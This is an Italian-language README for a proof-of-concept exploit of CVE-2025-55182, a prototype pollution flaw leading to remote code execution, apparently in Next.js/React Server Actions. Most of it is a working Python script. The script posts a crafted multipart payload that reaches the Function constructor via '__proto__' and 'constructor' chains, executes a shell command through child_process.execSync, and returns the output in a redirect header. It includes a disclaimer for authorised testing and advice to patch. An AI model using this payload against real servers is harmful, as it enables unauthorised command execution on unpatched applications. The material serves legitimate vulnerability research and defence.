
Exploit proof-of-concept per CVE-2025-55182, che dimostra l'inquinamento del prototipo che porta all'esecuzione remota di codice nelle implementazioni di rendering lato server. Include script di exploit Python e raccomandazioni di sicurezza.
Questa repository contiene una prova di concetto (PoC) per CVE-2025-55182, una vulnerabilità che coinvolge Prototype Pollution che porta a Remote Code Execution (RCE) in alcune implementazioni di rendering lato server.
⚠️ Avvertenza: Questa PoC è strettamente per scopi educativi, di ricerca e test di sicurezza autorizzati su ambienti personali o controllati. L'uso non autorizzato su sistemi senza permesso è illegale.
La vulnerabilità si verifica quando input utente non validato viene iniettato nelle strutture interne degli oggetti JavaScript (Prototype Pollution). Quando combinata con specifici flussi di esecuzione, può portare a esecuzione di codice arbitrario.
In questa PoC, proprietà concatenate come __proto__ e constructor vengono utilizzate per elevare la pollution a un contesto di esecuzione.
Di seguito è riportato il file exploit.py che mostra come la vulnerabilità può essere sfruttata:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
Assicurati di eseguirlo solo in un ambiente locale o di sviluppo.
Se questa vulnerabilità riguarda un progetto reale, verifica e installa le ultime patch di sicurezza rilasciate dai manutentori.
child_process in produzioneMIT License